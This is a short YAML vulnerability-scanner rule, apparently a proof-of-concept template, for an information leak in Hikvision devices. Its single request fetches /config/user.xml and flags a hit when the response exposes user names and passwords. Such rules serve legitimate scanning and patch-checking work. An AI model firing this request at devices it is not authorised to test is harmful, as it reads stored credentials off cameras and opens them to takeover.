hikvision-info-leak.yaml

id: hikvision-info-leak

info:
    name: hikvision-info-leak
    author: tangshoupu
    severity: high
    verified: false
    reference:
        - https://www.seebug.org/vuldb/ssvid-91762

rules:
    r0:
        request:
            method: GET
            path: /config/user.xml
        expression: response.status == 200 && response.body.bcontains(b'<user name=') && response.body.bcontains(b'password="')
expression: r0()